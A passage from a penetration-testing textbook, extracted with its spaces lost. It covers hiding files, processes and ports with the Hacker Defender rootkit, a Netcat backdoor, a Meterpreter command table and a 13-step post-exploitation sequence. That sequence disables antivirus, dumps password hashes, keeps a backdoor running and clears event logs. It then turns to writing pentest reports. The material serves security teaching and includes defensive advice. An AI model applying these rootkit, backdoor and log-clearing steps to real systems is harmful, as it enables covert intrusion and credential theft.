Some instances requiremoregranularcontrol thansimplyhiding theentirekey. Ifanentirekey ismissing(orhidden),akeensystemadministratormaygetsuspicious.Tohandletheseinstances,HackerDefender allows us to use the [Hidden RegValues]. Entering information here will hide individualvaluesratherthantheentirekey.The[StartupRun]isalistofprogramsthatwillbeautomaticallyrunonceHackerDefenderhasbeen

started.Thiswould be a good place to list theNetcat command if youwere interested in creating abackdoor.Justmakesureyouputitinlistenermode!Just as installingprogramson aWindowsmachine automatically creates registry keys andvalues,

installing programsonto a target requires disk drive space.Here again, a cunning administratormaynotice ifyouinstallaprogramthatrequires lotofdiskspace.Ifauserstartshisorhercomputeronemorninganddiscoversthatoverhalfoftheharddrivespaceissuddenlyinuse,heorshewillprobablybecome suspicious. You can use the [Free Space] section to force the computer to “add back” theamountoffreespacethatyouused.Enteringanumberherewillforcethecomputertoreporttheactualavailablefreespaceplusthenumberyouenterinthissection.Inotherwords,ifyouinstallaprogramthatrequires1GBoffreespace,youshouldadd1073741824underthe[FreeSpace]heading.Doingsowilllessenthelikelihoodofdiscovery.Pleasenotethatthisnumberislistedinbytes.Ifyouneedhelpinconverting from bytes to kilobytes to megabytes to gigabytes, there are several good calculatorsavailableonline.SimplyGoogle“kilobytestomegabytescalculator”anduseoneofthesuggestedpagesreturned.Ifyouknowofportsthatyouplantoopen,youcanlistthemunderthe[HiddenPorts]section.You

will notice this section is further divided with the following entries: TCPI, TCPO, and UDP. The“TCPI:”subsectioniswhereyoulistanyinboundportsthatyouwanthiddenfromtheuser.Ifyouhavemultipleports to list, simply separate thembyacomma.The“TCPO:” section iswhereyou list anyoutboundTCPports thatyouwanttobehiddenfromtheuser.The“UDP:”sectionisusedtospecifyanyUDPportsthatyouwantconcealed.NowthatyouhaveanideaofhowtoconfigurethebasicHackerDefendersettings,letusexaminethe

toolinaction.Forthisexample,wewillinstallHackerDefenderinafolderontheC:\drivecalled“rk”.We will also place a copy of Netcat into this folder. Figure 7.5 shows an example of the .iniconfigurationfile.

Page 168: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE7.5 Newlyconfiguredhxdef100.inifile.

Youwillnoticethatonlyafewextralineshavebeenaddedtothedefaultconfigurationfile.Inthisexample,we have added the “rk” folder to the [Hidden Table] section, theNetcat executable to the[Hidden Processes] section, and lastly, set up Netcat to automatically start up in server mode andprovideacmdshellonport8888ofthetarget.Ifyouwantedtoaddanadditionallayerofstealth,youcouldalsoadd8888tothe[HiddenPorts]section.Figure7.6showstwoscreenshotspriortostartingHackerDefender.Noticethatboththe“rk”folder

andtheNetcat(nc.exe)programarevisible.

FIGURE7.6 Priortorunningtherootkitbothfolderandprogramarevisible.

However, once the hxdef100.exe file has been executed, the rootkit is in full force. Figure 7.7demonstratesthatneitherthe“rk”foldernorthe“nc.exe”programisvisibletotheuser.

Page 169: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE7.7 Afterrunningtherootkitbothfolderandprogramareinvisible.

Asyoucansee,evenasimplerootkitlikeHackerDefenderisquitecapableofmaskingandhidingfiles.Rootkitsareavasttopicandwecouldeasilydedicateanentirebooktothetechnicaldetailsandtheir makeup and inner workings. Rootkit technology, like all malware, continues to develop at astaggeringpace.Inordertotrulymasterrootkits,youwillneedtobeginwithasolidunderstandingoftheoperatingsystemkernel.Onceyoufinishcoveringthebasics,youarehighlyencouragedtodiveintothemalwarerabbitholeandseejusthowdeepitgoes.

DetectingandDefendingAgainstRootkitsLet us break from the normal convention of this book and take aminute to discuss a fewdefensivestrategiesfordealingwithrootkits.Becausewearefocusingonthebasics,defendingagainstmanyofthetechniquescoveredintheearlierstephasbeenquitesimple:CloselymonitortheinformationyouputontotheInternet.Properlyconfigureyourfirewallandotheraccesscontrollists.Patchyoursystems.Installanduseantivirussoftware.Makeuseofanintrusiondetectionsystem.Althoughthelistisnotnearlycomplete,itisagoodstartingpointfordefendingsystems.However,

evenwithallofthoseprocessesinplace,rootkitscanstillposeadanger.Defendingagainstanddetectingrootkitstakesafewextrasteps.Itisimportanttounderstandthatin

order toconfigureandinstallarootkit,administrativeaccess isrequired.Sothefirststep inavoidingrootkitsistodeprivilegeyourusers.ItisnotuncommontofindnetworksthatareloadedwithWindowsmachineswhereeveryuserisamemberoftheadministratorgroup.Usuallywheninquiringastowhyevery user is an administrator, the support staff simply shrugs their shoulders or provide some lameexcuseabouttheuserneedingtobeadministratorstorunaparticularpieceofsoftware.Really?Comeon.Thisisnot1998.Thereareveryfewlegitimatereasonsforallowingyouruserstorunaroundwithfull admin rights. Most modern operating systems provide the ability to temporarily elevate yourprivilegeswiththe“su”or“RunAs”commands.Although it is true that many rootkits function at the kernel level and have the ability to avoid

detectionbyantivirussoftware,installing,using,andkeepingthesoftwareup-to-dateiscritical.Somerootkits, especially theolder and less sophisticatedversions, canbedetected and cleanedbymodern

Page 170: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

antivirussoftware.It is also important to monitor the traffic coming into and going out of your network. Many

administratorsaregreatatmonitoringandblockingtrafficasitflowsintothenetwork.Theyspenddaysandevenweekshoningtheirrulesetstoblockincomingtraffic.Atthesametime,manyoftheseadminscompletelyignorealloutboundtraffic.Theybecomesofocusedontheincomingtrafficthattheyforgetto watch what is leaving. Monitoring outbound traffic can be vital in detecting rootkits and othermalware.Taketimetolearnaboutegressfiltering.Anothergoodtacticfordetectingrootkitsandbackdoorsistoregularlyportscanyoursystems.Make

noteofeachopenportoneachofyoursystems.Ifyoufindasystemwithanunknownportopen,besuretotrackdownthePCandidentifytherogueservice.ToolslikeRootkitRevealer,Vice,andF-Secure’sBlacklightaresomegreatfreeoptionsforrevealing

thepresenceofhiddenfilesandrootkits.Unfortunately,oncearootkithasbeeninstalled,itcanbeverydifficulttoremove,oratleasttoremovecompletely.Sometimes,rootkitremovalrequiresyoutobootyourmachineintoanalternateoperatingsystemandmountyouroriginalharddrive.Bybootingyourmachinetoanalternateoperatingsystemormountingthedrivetoanothermachine,youcanscanthedrivemorethoroughly.BecausetheoriginaloperatingsystemwillnotberunningandyourscannerwillnotbeusingAPIcallsfromaninfectedsystem,itismorelikelyyouwillbeabletodiscoverandremovetherootkit.Evenwithallofthis,oftentimesyourbestbetistosimplywipethesystem,includingafullformat,andstartover.

Meterpreter:TheHammerthatTurnsEverythingintoaNailIf you learn only one Metasploit payload, it better be meterpreter. We have briefly mentioned themeterpreterpayloadandevenuseditafewtimesoverthepastfewchapters.Theamountofpowerandflexibilitythatameterpretershellprovidesisbothstaggeringandbreathtaking.Onceagain,meterpreterallows us to “hack like the movies” but more importantly meterpreter includes a series of built-incommands, which allow an attacker or penetration tester to quickly and easily move from the“exploitation”phasetothe“postexploitation”phase.Inordertousethemeterpretershell,youwillneedtoselectitasyourpayloadinMetasploit.Youcan

reviewthedetailsof thisprocess inChapter4.Onceyouhavesuccessfullyexploitedyour targetandhaveaccesstoameterpretershell,youcanquicklyandeasilymoveintopostexploitation.Thefulllistofactivitiesthatmeterpreterallowsistoolongtobecoveredherebutalistofbasiccommandsandtheirdescriptionarepresentedbelow.Inordertobetterunderstandthepowerofthistool,youareencouragedtoreexploitoneofyourvictimmachinesandrunthrougheachofthecommandspresentedinTable7.1.Inordertoexecutethecommandonthevictimmachine,yousimplyenteritafterthe“meterpreter>”prompt.

Page 171: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Table7.1BasicMeterpreterCommands

catfile_name Displaysthecontentsofthespecifiedfile.cd,rm,mkdir,rmdir SamecommandandoutputasatraditionalLinuxterminal.clearev Clearsallofthereportedeventsintheapplication,system,andsecuritylogsonthetargetmachine.download<source_file>

<destination_file>Downloadsthespecifiedfilefromthetargettothelocalhost(attackingmachine).

edit ProvidesaVIMeditor,allowingyoutomakechangestodocuments.execute–ffile_name Runs/executesthespecifiedfileonthetarget.getsystem Instructsmeterpretertoattempttoelevateprivilegestothehighestlevel.hashdump Locatesanddisplaystheusernamesandhashesfromthetarget.Thesehashescanbecopiedtoatext

fileandfedintoJohntheRipperforcracking.idletime Displaysthelengthoftimethatthemachinehasbeeninactive/idle.keyscan_dump Displaysthecurrentlycapturedkeystrokesfromthetarget’scomputer.Note:Youmustrunkeyscan_start

first.keyscan_start Beginskeystrokeloggingonvictim.Note:Inordertocapturekeystrokesyouwillneedtomigratetothe

explorer.exeprocess.keyscan_stop Stopsrecordinguserkeystrokes.killpid_number Stops(kills)thespecifiedprocess.TheprocessIDcanbefoundbyrunningthe“ps”command.migrate Movesyourmeterpretershelltoanotherrunningprocess.Note:Thisisaveryimportantcommandto

understand!ps Printsalistofalloftherunningprocessesonthetarget.reboot/shutdown Rebootsorshutdownthetargetmachine.screenshot Providesascreenshotfromthetargetmachine.search–ffile_name Searchesthetargetmachineforthespecifiedfile.sysinfo Providessysteminformationaboutthetargetmachineincludingcomputername,operatingsystem,

servicepacklevel,andmore.upload<source_file>

<destination_file>Uploadsthespecifiedfilefromyourattackingmachinetothetargetmachine.

Asyoucansee,Table7.1providesasubstantiallistofcomplexactivities,whichthemeterpretershellmakes simple. This single payload allows us to very easily perform a series of post exploitationactivitiesincludingmigratingtheprocesstoonewhichismorestable,disableorkillantivirus,uploadfiles, execute files, edit, copy, and delete files, escalate privileges, dump hashes, install and displaykeystrokes,takescreenshotsofthevictimscomputer,andmanymorewhichwerenotcoveredinthislistincludingtakingoverthewebcam,editingtheregistry,modifyingthetarget’sroutingtableandothers!Withallthesechoices,youmayfeelabitoverwhelmedorperhapsmoreaccurately,youfeellikea

kid in a candy store.Belowyouwill find a simplifiedmethodology for conductingpost exploitationwithmeterpreter. It is important to understand that this simplified approach is just one of themanyoptionsforimplementingmeterpreter.

(1)Exploitanddropmeterpreterpayloadonthetarget.(2)Usethe“migrate”commandtomovemeterpretertoacommonprocess,whichisalways

runningandnotwellunderstood.Servicehost(svchost.exe)isaperfectexample.(3)Usethe“kill”commandtodisableantivirus.(4)Usethe“shell”commandtoaccessacommandpromptonthetargetmachineandusethe“netsh

advfirewallfirewall”commandtomakechangestotheWindowsfirewallsettings(allowingaconnectionorportthrough).

Page 172: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

(5)WiththeAVdisabled,usethe“upload”commandtouploadatoolkitwhichincludesarootkitandseveralothertoolswehavediscussedinthisbook(nmap,Metasploit,JohntheRipper,Netcat,etc.).

(6)Installtherootkitwiththe“execute–f”command.(7)Ifyourrootkitdoesnotincludeabackdoor,installNetcatasapersistentbackdoorusingthe

“execute–f”command.(8)Modifyregistryusingthe“reg”commandinordertoensurethatNetcatispersistent.(9)Dumpthepasswordhashesusingthe“hashdump”commandanduseJohntocrackpasswords.

(10)Configuretherootkit.inifiletohidetheuploadedfiles,backdoor,newlyopenedportsusingthe“edit”command.

(11)Testtheuploadedbackdoorbymakinganewconnectionfromtheattackermachinetothetarget.(12)Cleartheeventlogsusingthe“clearev”command.(13)Pillageorpivottonexttarget.Again,giventhepowerandflexibility,youroptionsforpostexploitationarenearlylimitless.Spend

asmuchtimeaspossiblediggingintothepayloadandbecomingameterpretermaster.

HowDoIPracticeThisStep?Like each of the previous steps that have been covered, becoming proficient with post exploitationtacticsandtechniquesrequirespractice.WorkingwithtoolslikeNetcatcanseemabitconfusingatfirst,especiallywhenweusethe“–e”switchtoprovidebackdoorfunctionality.ThebestwaytopracticethistechniqueistosetuptwomachinesandpracticeimplementingNetcatbetweenthem.ThemoreyouuseNetcat,themorecomfortableyouwillbecomewiththeconcept.Youshouldpracticebothsendingandreceivingfilesfromeachmachine.Itisimportanttounderstand

directionalityandexactlyhowtouseNetcattoperformthistaskbothways(downloadanduploading).Oncethebasicsofsendingandreceivingfileshavebeenmastered,beginfocusingonusingNetcatasabackdoor. Remember the “–e” switch is vital in performing this task. Fully understanding how toimplement Netcat as a backdoor will require setting up the tool in listener mode on the target andmakingaconnectiontoitfromtheattackermachine.Be sure to practice setting up a backdoor and establishing a connection with both Linux and

Windows.ItisimportanttomasterthedifferencebetweentheLinuxandWindowsversions.Remember,aWindowsNetcatversioncanconnect toaLinuxversionandviceversa;however, thereare severalminordifferencesintheswitchesandfunctionalityofeachprogram.Finally, after becoming proficient with the basics of Netcat, be sure to explore some advanced

featureslikeusingNetcatasaproxy,reverseshells,portscanning,creatingandcopyingadiskpartitionimage,andchainingNetcatinstancestogethertobouncetrafficfromonemachinetoanother.BeforewrappingupNetcat,besuretothoroughlyreviewthe“man”pagesandexamineeachswitch.

Again, you will want to look closely at the differences between the Linux andWindows versions.Examiningtheswitchesandreadingthe“man”pagesoftenprovideadditionalinformationandcanspursomecreativeusesofthetool.Practicingwithrootkitscanbeabitofadouble-edgedsword.Exploringandlearningtouserootkits

canberewardingandvaluablebutaswithallmalware,thereiscertainlysomeriskinvolved.Anytimemalware isusedor studied, there is a chance that themalwarewill escapeor infect thehost system.Readersarestronglyencouragedtoexerciseextremecautionbeforedownloadingorinstallinganytypeof malware. Advanced malware and rootkit analysis is beyond the scope of this book and is not

Page 173: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

recommended.Ifyouarestillcompelled tostudy these topics, theuseofa sandboxedenvironmentandVMs isa

must. Always disconnect all outside access before proceeding to ensure that nothing escapes yournetwork.Rememberthatyouarelegallyresponsibleforanyandalltrafficthatleavesyournetwork.Thelaws thatgoverncomputeruseat thefederalandstate levelsmakenodistinctionbetween traffic that“accidentally”leavesyournetworkandtrafficthatissentonpurpose.Whendiscussingthebasics,rootkitsandbackdoorsarerarelyusedinapenetrationtest.Itishighly

suggestedthatyoufocusonmasteringeachoftheotherstepsbeforeattemptingtoadvanceanyfurtherwithmalware.

WhereDoIGofromHere?Aftermastering the basics of backdoors and rootkits, you should expand your horizon by exploringsimilartoolsincludingNcatandSocat.NcatisamodernizedversionoftheoriginalNetcattoolandisincluded as part of theNmap project. Ncat improves on the original tool by includingmany of theoriginal features plus SSL and IPv6 support. Socat is another close Netcat relative that is great forreading and writing network traffic. Socat also extends the original functionality of Netcat by alsoaddingsupportforSSL,IPv6,andseveralotheradvancedfeatures.Ifyouareinterestedinlearningmoreaboutbackdoors,youshouldspendtimeexploringacoupleof

classicexamplesincludingNetbus,BackOrificeandSubSeven(Sub7).Netbusisagoodexampleofatraditionalcommandandcontrolsoftware.BackOrificeissimilarinnaturetoNetbusandalsoallowsausertocommandandcontrolaremotemachine.TheprogramwasoriginallyreleasedbySirDysticin1998. You can listen to the original talk titled “Cult of the Dead Cow: The announcement of BackOrfice,DirectXploit,andthemodularButtPluginsforBO”byreviewingtheDefcon6mediaarchives.Sub7wasoriginallyreleasedin1999byMobmanandfunctionsinaclient/servermannersimilarto

NetbusandBackOrifice.Likeeachoftheothertoolsdiscussedinthischapter,Sub7isasoftwarethatallowsaclienttoremotelycontrolaserver.Ifyouareinterestedinexpandingyourknowledgeofrootkits,itisimportanttostudyandmasterthe

inner workings of modern operating systems. Learning the intricate details of an operating systemkernelmayseemdauntingatfirst,butitiswellworthyourtime.This chapter examined the Hacker Defender rootkit and provided a basic overview of the

functionality and use of rootkits. It is important to understand that this material only scratches thesurfaceofrootkits.Advancedtopicsincludehookingsystemandfunctioncallsandunderstandingthedifferencebetweenuser-modeandkernel-modekits.Developingasolidgraspofsystemprogrammingandprogramminglanguagescanbeextremelybeneficialaswell.

SummaryThischapterfocusedonpostexploitationactivitiesthroughtheuseandimplementationofbackdoors,rootkits, and the meterpreter shell. Remember it is vital that you have proper authorization beforeutilizingarootkitorbackdoorinapenetrationtest.ThischapterbeganbyintroducingthepowerfulandflexibletoolNetcat.SeveralusesofNetcat,includingimplementingNetcatasabackdoor,arecovered.Cryptcat,amodernversionofNetcatwith theaddedability toencrypt trafficbetween twomachines,was also discussed. The chapter continued with a brief overview of rootkits including their basicstructure and use. Specifically, the proper use, configuration, and implementation of the Hacker

Page 174: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Defender rootkit were covered. The chapter concluded with a review of the basic post exploitationcommandsavailablethroughthemeterpretershell.

Page 175: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

CHAPTER8

WrappingUpthePenetrationTest

InformationinThisChapter:WritingthePenetrationTestingReportYouDoNotHavetoGoHomeButYouCannotStayHereWhereDoIGoFromHere?WrapUpTheCircleofLife

IntroductionMany people assume that once you have completed each of the four steps outlined in the precedingchapters,thepenetrationtestisover.Manynewcomersalsoassumethatimmediatelyfollowingstep4,youcansimplycalltheclienttodiscussyourfindingsormaybeevenjustsendtheclientabillforyourservices.Unfortunately,thatisnotthecase.Therealityisthatonceyouwrapupthetechnicaldetailsofapenetrationtest,thereisstillonetaskremaining.Afterallthereconnaissance,scanning,exploitation,andmaintainingaccessiscomplete,youneedtosummarizeyourfindingsintheformofapenetrationtestingreport.Itisnotuncommontofindextremelygiftedhackersandpenetrationtesterswhowanttocompletely

ignorethisfinalactivity.Thesepeoplehavetheskillandtheabilitytocompromisenearlyanynetwork,buttheylacktheskillstocommunicatethevulnerabilities,exploits,andmitigationstotheclient.Inmanyrespects,writingthepenetrationtestingreportisoneofthemostcriticaltasksthatanethical

hacker performs. It is important to remember that in many cases, the better you do your job as apenetration tester, the less your clientwill actually notice or “feel” yourwork.As a result, the finalreport isoftentheonlytangibleevidencethataclientwillreceivefromthepenetrationtesterandthepenetrationtesting(PT)process.Thepenetrationtestingreportoftenbecomesthefaceofyourorganizationandreputation.Oncethe

initial contract has been signed providing scope and authorization, the penetration tester oftendisappearsfromthetargetorganization.Thetestitselfoccursinarelativelyisolatedenvironment.Oncethetestiscompleted,itiscriticalthatthepenetrationtesterpresenthisorherfindingsinawellthought-out,organized,andeasy-to-understandmanner.Again,itisimportanttorememberthatinmostcases,thetargetorganization(thecompanythatispayingyou)hasnoconceptofwhatyouhavebeendoingorhowmany hours you have put into the task.As a result, the penetration testing report becomes theprincipalreflectionofyourcompetence.Youhavearesponsibilitytotheclienttopresentyourfindings,butyoualsohaveanopportunitytoshowcaseyourtalentandexplainhowyouspenttheclient’stimeandmoneywisely.Donot underestimate the power or importance of this phase. In reality, oftentimes your perceived

efforts and success will be judged more on your report than your actual success or failure tocompromiseanetwork.Ultimately, theability towriteagoodpenetration testingreportwillwinyou

Page 176: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

businessrepeatedly.

WritingthePenetrationTestingReportLikeeveryothertopicwehavediscussed,writingagoodpenetrationtestingreporttakespractice.Manypenetrationtestersmistakenlythinkthattheycansimplyprovidetherawoutputfromthetoolsthattheyrun.Thisgroupofpeoplewilloftencollectandneatlyorganizethevariousoutputsintoasinglereport.TheywillgatheranypertinentinformationfromthereconnaissancephaseandincludeitalongwiththeoutputfromNmapandNessus.Manyof the toolswediscussed in this book include a reporting engine. For example,Nessus has

several prebuilt reports that can be generated based off the scan. Unfortunately, using the prebuiltreportsisnotenough.Eachreportmustbewelllaidoutandflowasasingledocument.Combiningonestyle of report fromNessuswith a different style of report fromNmap orMetasploitwillmake thepenetrationtestreportappeardisjointedandunorganized.Withthatbeingsaid,itisimportanttoprovidethedetailedoutputfromeachofyourtools.Notmany

ofyourclientswillhavetheabilitytounderstandthetechnicaloutputfromNmaporNessus;however,rememberthedatadobelongtotheclientanditisimportantthattheyhaveaccesstotherawdata.Wehavediscussedseveralexamplesofwhatnottodoinapenetrationtestingreport;letusexamine

thisissuefromadifferentangleanddiscusswhatshouldbedone.Firstand foremost, thepenetration testing reportneeds tobebroken intoseveral individualpieces.

Takentogether,thesepieceswillformyouroverallreport,buteachpieceshouldworkasastand-alonereportaswell.Ataminimum,awell-roundedandpresentedpenetrationtestingreportshouldincludethefollowing:1.Anexecutivesummary.2.Awalkthroughofhowthepenetrationtestwasperformedtoprovideanunderstandingofhow

yousuccessfullycompromisedorhackedthesystem(s).3.Adetailedreport.4.Rawoutput(whenrequested)andsupportinginformation.

ExecutiveSummaryThe executive summary should be a very brief overview of yourmajor findings. This document, orsubreport,shouldnotexceedtwopagesinlengthandonlyincludethehighlightsofthepenetrationtest.The executive summary does not provide technical details or terminology. This report needs to bewritteninthecontextofboardmembersandnontechnicalmanagementsothattheycanunderstandyourfindingsandanymajorconcernsyoudiscoveredonthenetworkandsystems.Ifvulnerabilityandexploitswerediscovered, theexecutivesummaryneeds to focusonexplaining

howthesefindingsimpactthebusiness.Theexecutivesummaryshouldprovidelinksandreferencestothe detailed report so that interested parties can review the technical nature of the findings. It isimportanttorememberthattheexecutivesummarymustbeverybriefandwrittenatahighlevel.Mostexecutivesummariesshouldbewritteninsuchawaythatthereportwriter’sowngrandmotherwouldbeabletounderstandwhatoccurredduringthepenetrationtestandwhatthemajorfindingswere.Itisalsoagoodideatorestatethescopeandpurposeofthetestaswellasincludingoverallriskratingfortheorganizationinthisportionofthereport.

Page 177: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

DetailedReportThe second part in a well-rounded penetration testing report is the detailed report. This report willinclude a comprehensive list of your findings aswell as the technical details. The audience for thisreportincludesITmanagers,securityexperts,networkadministrators,andotherswhopossesstheskillsandknowledgerequiredtoreadandcomprehenditstechnicalnature.Inmostcases,thisreportwillbeusedbythetechnicalstafftounderstandthedetailsofwhatyourtestuncoveredandhowtoaddressorfixtheseissues.Aswith every facet of the penetration test, it is important to be honest and directwith the client.

Although itmaybe tempting toemphasizeyourgreat technical savvyanddiscusshowyouownedaparticularservice,itismuchmoreimportanttopresentthefactstoyourclientbeginningwiththeissuesthatposethemostdangertotheirnetworksandsystems.Rankingthediscoveredvulnerabilitiescanbeconfusing anddaunting for a newpenetration tester; luckilymost tools likeNessuswill provideyouwithadefault rankingsystem.Alwayspresentcriticalfindingsfirst.Thismakesyourpenetrationtesteasiertoreadandallowstheclienttotakeactiononthemostseriousfindingsfirst(withouthavingtodigthrough50pagesoftechnicaloutput).Becauseitisimportant,itneedstobestatedagainanditisimperativethatyouputtheneedsofthe

clientbeforeyourego.Considerthefollowingexample:assumeyouareconductingapenetrationtestandareabletofullycompromiseaserveronyourtarget’snetwork.However,afterfurtherinvestigationandreview,youdeterminethatthenewlycompromisedsystemisofnovalue.Thatis,itholdsnodata,isnotconnectedtoanyothersystems,andcannotbeusedtopivotfurtherintothenetwork.Laterinthepenetrationtest,oneofyourtoolsreportsacriticalvulnerabilityonaborderrouter.Unfortunately,evenafterhavingreadthedetailsofthevulnerabilityandrunningseveraltools,youareunabletoexploittheweaknessandgainaccesstothesystem.Eventhoughyouareunabletogainaccesstotheborderrouter,youarecertainthatthesystemisvulnerable.Youalsoknowthatbecausethisdeviceisaboarderrouter,ifitiscompromised,theentirenetworkwillbeatrisk.Of course, it should go without saying that in this example both these flaws should be reported.

However, the point is that in this case, one flaw clearly presentsmore danger than the other. In thissituation, many newcomers may be tempted to showcase their technical skills and successes byemphasizing the fact that they were able to successfully compromise a server and downplay theimportanceofthecriticalvulnerabilitybecausethepenetrationtesterwasunabletoexploitit.Neverputyourselforyouregoabovethesecurityofyourclients.Donotoverstatethefacts;simplyreportyourfindingstothebestofyourabilityinanobjectivemanner.Lettheclientmakesubjectivedecisionswiththe data you provide. Never make up or falsify data in a penetration test. Never reuse “proof-of-concept”screenshots.Itcanbetemptingtotakeshortcutsbysupplyinggeneric,reusableproofs,butitisadangerousandunethicalthingtodo.Theideaanduseofproof-of-conceptscreenshotsisapowerfultoolandshouldbeincorporatedinto

thepenetrationtestingreportwheneverpossible.Anytimeyoudiscoveramajorfindingorsuccessfullycomplete an exploit, you should include a screenshot in the detailed report. This will serve asundeniableevidenceandprovidethereaderwithavisualizationofyoursuccess.Itisalsogoodtoremember,especiallywhenyoufirststartconductingpenetrationtestsandthatnot

every PTwill result in a “win” or the successful compromise of your target. Inmost situations, thepenetration test isboundbysomeartificial rules that reduce the realityof the test.These include thedemands imposed by the client such as scope, time, and budget as well as the legal and ethicalrestrictions thathelpdefine theboundariesofapenetrationtest.Asyouprogress inyourpenetration-

Page 178: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

testing career, you will undoubtedly encounter situations where your penetration test turns upcompletely blank, no vulnerabilities, no weaknesses, no useful information gathered, etc. In thesesituations,youstillneedtocompletethepenetrationtestingreport.Wheneverpossible,whenwritingthepenetrationtestingreport,youneedtoincludemitigationsand

suggestionsforaddressingtheissuesyoudiscovered.Sometools, likeNessus,willprovidesuggestedmitigations. If your tools do not provide precannedmitigations, then it is important that you locatepotential solutions on your own. If you are unsure ofwhere to look for these solutions,most publicexploits and vulnerabilities include details or steps that can be taken to address the weakness. UseGoogleandtheInternettotrackdownspecificsofthereportedweaknesses.Byreviewingthetechnicaldetailsofvulnerability,youwilloftenfindpotentialsolutions.These typically includedownloadingapatchorupgradingtoanewerversionofthesoftware,althoughtheymaydiscussotherresolutionssuchasconfigurationchangesorhardwareupgrades.Providingsolutionstoeachoftheproblemsyoudiscoverisavitalpartofthedetailedreport.Itwill

alsoservetowinyourepeatbusinessandhelptodistinguishyourselffromotherpenetrationtesters.Ifyouareprovidingtherawoutputofyourtoolsaspartofthepenetrationtestingreport,thefindings

in thedetailed report should include linksand references to specificpages in the rawoutput section.This is important because itwill save you time and confused phone calls fromyour clientswho arewonderinghowyoudiscoveredaparticularissue.Providingclearreferencestotherawtooloutputwillallowtheclienttodigintothedetailswithoutneedingtocontactyou.Inthismanner,youshouldbeabletoseehowthereportflowsfromexecutivesummarytodetailedsummarytorawoutput.

RawOutputWhenrequested,thefinalportionofthereportshouldbethetechnicaldetailsandrawoutputfromeachofthetools.Inreality,noteverypenetrationtesterwillagreethatthisinformationneedstobeincludedwiththepenetrationtestingreport.Thereissomemerittotheargumentsagainstincludingthisdetailedinformation,whichincludesthefactthatthisinformationisoftenhundredsofpagesinlengthandcanbeverydifficulttoreadandreview.Anothercommonargumentoftenrepeatedfromfellowpenetrationtestersisthatprovidingthislevelofdetailisunnecessaryandallowstheclienttoseeexactlywhattoolswereruntoperformthepenetrationtest.Ifyouareusingcustomtools,scripts,orotherproprietarycodetoperformapenetrationtest,youmay

notwanttorevealthistypeofinformationdirectlytoyourclient.However,inmostcases,itisusuallysafetoprovidethedirectoutputofthetoolsusedinthepenetrationtest.Thisisnottosaythatyouneedtoprovidethedetailedcommandsandswitchesthatwereusedtoruntools likeMetasploit,Nmap,orcustomcode,but rather thatyoumake theoutputof thosecommandsavailable. Ifyouareconcernedaboutdisclosingthespecificcommandsusedtorunyourtools,youmayhavetosanitizetherawoutputtoremovethosecommandsandmanuallydeleteanyothersensitiveinformationyoudonotwanttobedisclosedtothereaders.From the view point of a basic penetration test, which typically includes each of the tools we

discussedinthisbook,itwouldnotbeoutofthequestiontosimplyincludealltherawoutputattheendofthereport(ortomakeitavailableasaseparatereport).Thereasonforthisissimple—thetoolsandcommandsusedtoinvokeeachofthetoolsinabasicpenetrationtestarewidelyknownandavailable.Thereisnorealpointinhidingorattemptingtoobfuscatethisinformation.Additionally,asmentionedearlier,includingthedetailedoutputandmakingclearreferencestoitinthedetailedreportwilloftensaveyoutimeandphonecallsfromfrustratedclientswhodonotunderstandyourfindings.

Page 179: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Whetheryoudecide to include the rawdataasanactualcomponentof the reportoryoudecide toincludeitasaseparatedocumentisentirelyuptoyou.Dependingonthesheersizeofthisreport,youmaywant tosimply include itasasecondaryorstand-alonereportandnotattach itdirectlywith theexecutivesummaryandthedetailedreports.Another consideration that needs to be given some careful thought is how you will present your

reporttotheclient.Thisissomethingthatshouldbediscussedpriortothedeliveryofthereport.Fromapurelytime-managementandresourcestandpoint,itisofteneasiertodeliverthereportasanelectronicdocument.Inthecasewheretheclientrequestsapapercopy,youwillneedtoprofessionallyprint,bind,andmailthedocumenttotheclient.Besuretosendthedocumentviacertifiedmailandalwaysrequestareturnreceiptsoyoucanverifythatthedocumentwasproperlyreceived.Ifyouhaveagreedtodeliverthedocumentelectronically,youwillneedtoensurethatthepenetration

testing report isencryptedand remainsconfidentialuntil it arrives in theclient’shands.Rememberapenetration testing report often contains very sensitive information about the organization.Youmustensuretheinformationcontainedinthereportremainsprivate.Itwouldbeveryembarrassingtohaveareport you created become public because you did not take the basic measures needed to ensureconfidentiality.Thereareseveraleasywaysofensuringconfidentiality.Youcanuseatoollike7ziptocompressand

